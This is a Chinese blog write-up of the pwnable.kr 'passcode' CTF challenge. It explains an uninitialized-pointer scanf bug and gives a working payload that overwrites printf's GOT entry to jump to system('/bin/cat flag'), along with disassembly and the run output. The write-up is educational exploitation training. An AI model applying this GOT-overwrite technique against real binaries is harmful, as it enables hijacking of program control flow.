zoukankan      html  css  js  c++  java
  • Pwnable中的passcode解题记录:

    Pwnable中的passcode解题记录:

    看下源码:

     1 #include <stdio.h>
     2 #include <stdlib.h>
     3 
     4 void login(){
     5     int passcode1;
     6     int passcode2;
     7 
     8     printf("enter passcode1 : ");
     9     scanf("%d", passcode1);               //这里没有加取地址符号
    10     fflush(stdin);
    11 
    12     // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    13     printf("enter passcode2 : ");
    14         scanf("%d", passcode2);      //这里没有加取地址符号
    15 
    16     printf("checking...\n");
    17     if(passcode1==338150 && passcode2==13371337){
    18                 printf("Login OK!\n");
    19                 system("/bin/cat flag");
    20         }
    21         else{
    22                 printf("Login Failed!\n");
    23         exit(0);
    24         }
    25 }
    26 
    27 void welcome(){
    28     char name[100];
    29     printf("enter you name : ");
    30     scanf("%100s", name);
    31     printf("Welcome %s!\n", name);
    32 }
    33 
    34 int main(){
    35     printf("Toddler's Secure Login System 1.0 beta.\n");
    36 
    37     welcome();
    38     login();     //这里连续调用了两个函数
    39 
    40     // something after login...
    41     printf("Now I can safely trust you that you have credential :)\n");
    42     return 0;    
    43 }

    思路:通过输入name[]将print_got地址覆盖到栈上的passcode1,在scanf(“%d”,passcode1)函数调用passcode1时候将print_got改为system(“/bin/cat flag”)的执行地址。

    1 printf_got = 0x0804a000
    2 system_flag = 0x080485E3
    3 str(system_flag) = 134514147
    4 python -c "print ('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" | 5 ./passcode

    知识点:

     1、scanf加&和不加&的区别:

    当scanf取地址时候:scanf(“%100s”, &name);是向name的地址出写内容

    1 0x0804862a <+33>: mov $0x80487dd,%eax ;"%100s"的地址
    2 0x0804862f <+38>: lea -0x70(%ebp),%edx ;name局部变量地址
    3 0x08048632 <+41>: mov %edx,0x4(%esp) ;name入栈
    4 0x08048636 <+45>: mov %eax,(%esp) ;"%100s"的地址入栈
    5 0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt> ;调用scanf函数

     当scanf没有取地址时候:scanf(“%d”, passcode1); 是向passcode1存储的内容指向的内存地址处写内容。

    1 0x08048577 <+19>: mov $0x8048783,%eax ;"%d"的地址
    2 0x0804857c <+24>: mov -0x10(%ebp),%edx ;passcode1
    3 0x0804857f <+27>: mov %edx,0x4(%esp) ;这里就是问题,把栈上储存的内容入栈了,而不是把栈的地址入栈
    4 0x08048583 <+31>: mov %eax,(%esp) ;"%d"的地址入栈
    5 0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt> ;调用scanf

    由于没有对栈上的数据进行初始化,所以当输入passcode1的时候程序向一个不可写权限的
    地方写数据,导致无法输入数据,程序崩溃。

    2、栈上数据的存储:
    两个函数: welcome() 和  login() 是具有相同的EBP.
    welcome()中的name在ebp­0x70的位置
    login() 中的passcode1在%ebp­0x10
    从name覆写道passcode1的长度为:len = 0x70­0x10 = 112­16 = 96
    所以构造: ‘A’ *96个占位 + prinf_got_addr +system_flag

    printf_got = 0x0804a000 system_flag = 0x080485E3
    python -c "print ('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" |
    ./passcode

    此时调用 scanf("%d", passcode1); 函数,会向这个地址处printf_got_addr处写数据,也
    就是要修改printf_got的地址,修改成什么呢?当然是我们需要执行的函数
    (system_flag),使 system("/bin/cat flag") 得到执行。

    3、执行流程:
    如何找到:prinf_got_addr 和system(“/bin/cat flag”)`的地址呢?
    找prinf_got_addr :通过objdump ­d passcode中的printf@plt指向的地址:printf_got = 0x0804a000。

    08048420 <printf@plt>:
    8048420: ff 25 00 a0 04 08 jmp *0x804a000
    8048426: 68 00 00 00 00 push $0x0
    804842b: e9 e0 ff ff ff jmp 8048410 <_init+0x30>

    找system(“/bin/cat flag”)`:汇编程序中程序执行到的位置。或者通过objdump ­d passcode中的login指向的地址:system_flag = 0x080485E3 。

    因为scanf要输入的是%d,0x080485e3的十进制就是134514147。

    80485e3: c7 04 24 af 87 04 08 movl $0x80487af,(%esp)
     1 08048564 <login>:
     2  8048564:    55                       push   %ebp
     3  8048565:    89 e5                    mov    %esp,%ebp
     4  8048567:    83 ec 28                 sub    $0x28,%esp
     5  804856a:    b8 70 87 04 08           mov    $0x8048770,%eax
     6  804856f:    89 04 24                 mov    %eax,(%esp)
     7  8048572:    e8 a9 fe ff ff           call   8048420 <printf@plt>
     8  8048577:    b8 83 87 04 08           mov    $0x8048783,%eax
     9  804857c:    8b 55 f0                 mov    -0x10(%ebp),%edx
    10  804857f:    89 54 24 04              mov    %edx,0x4(%esp)
    11  8048583:    89 04 24                 mov    %eax,(%esp)
    12  8048586:    e8 15 ff ff ff           call   80484a0 <__isoc99_scanf@plt>
    13  804858b:    a1 2c a0 04 08           mov    0x804a02c,%eax
    14  8048590:    89 04 24                 mov    %eax,(%esp)
    15  8048593:    e8 98 fe ff ff           call   8048430 <fflush@plt>
    16  8048598:    b8 86 87 04 08           mov    $0x8048786,%eax
    17  804859d:    89 04 24                 mov    %eax,(%esp)
    18  80485a0:    e8 7b fe ff ff           call   8048420 <printf@plt>
    19  80485a5:    b8 83 87 04 08           mov    $0x8048783,%eax
    20  80485aa:    8b 55 f4                 mov    -0xc(%ebp),%edx
    21  80485ad:    89 54 24 04              mov    %edx,0x4(%esp)
    22  80485b1:    89 04 24                 mov    %eax,(%esp)
    23  80485b4:    e8 e7 fe ff ff           call   80484a0 <__isoc99_scanf@plt>
    24  80485b9:    c7 04 24 99 87 04 08     movl   $0x8048799,(%esp)
    25  80485c0:    e8 8b fe ff ff           call   8048450 <puts@plt>
    26  80485c5:    81 7d f0 e6 28 05 00     cmpl   $0x528e6,-0x10(%ebp)
    27  80485cc:    75 23                    jne    80485f1 <login+0x8d>
    28  80485ce:    81 7d f4 c9 07 cc 00     cmpl   $0xcc07c9,-0xc(%ebp)
    29  80485d5:    75 1a                    jne    80485f1 <login+0x8d>
    30  80485d7:    c7 04 24 a5 87 04 08     movl   $0x80487a5,(%esp)
    31  80485de:    e8 6d fe ff ff           call   8048450 <puts@plt>
    32  80485e3:    c7 04 24 af 87 04 08     movl   $0x80487af,(%esp)
    33  80485ea:    e8 71 fe ff ff           call   8048460 <system@plt>
    34  80485ef:    c9                       leave  
    35  80485f0:    c3                       ret    
    36  80485f1:    c7 04 24 bd 87 04 08     movl   $0x80487bd,(%esp)
    37  80485f8:    e8 53 fe ff ff           call   8048450 <puts@plt>
    38  80485fd:    c7 04 24 00 00 00 00     movl   $0x0,(%esp)
    39  8048604:    e8 77 fe ff ff           call   8048480 <exit@plt>

    flag:

    好了,现在需要的东西都找到了,就是执行了。输入payload:

    python -c "print ('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" | ./passcode
    enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
    Sorry mom.. I got confused about scanf usage :(
    enter passcode1 : Now I can safely trust you that you have credenti
    al :)
    Sorry mom.. I got confused about scanf usage :(

    参考文档:

    http://blog.csdn.net/u012763794/article/details/51992512

    http://blog.csdn.net/qq_20307987/article/details/51303824

    http://blog.csdn.net/smalosnail/article/details/53027024

  • 相关阅读:
    Zend Framework 2.1.5 中根据服务器的环境配置调用数据库等的不同配置
    在基于 Eclipse 的 IDE 中安装和使用 Emmet(ZenCoding)
    【翻译】Emmet(Zen Coding)官方文档 之六 自定义 Emmet
    【翻译】Emmet(Zen Coding)官方文档 之二 缩写
    【翻译】Emmet(Zen Coding)官方文档 之七 一览表
    【翻译】Emmet(Zen Coding)官方文档 之三 CSS 缩写
    【翻译】Emmet(Zen Coding)官方文档 之四 动作
    【翻译】Emmet(Zen Coding)官方文档 之一 web 编程的必备工具
    Zend Framework 2 时区设置警告问题的解决
    【翻译】Emmet (Zen Coding) 元素类型
  • 原文地址:https://www.cnblogs.com/Yable/p/7863012.html
Copyright © 2011-2022 走看看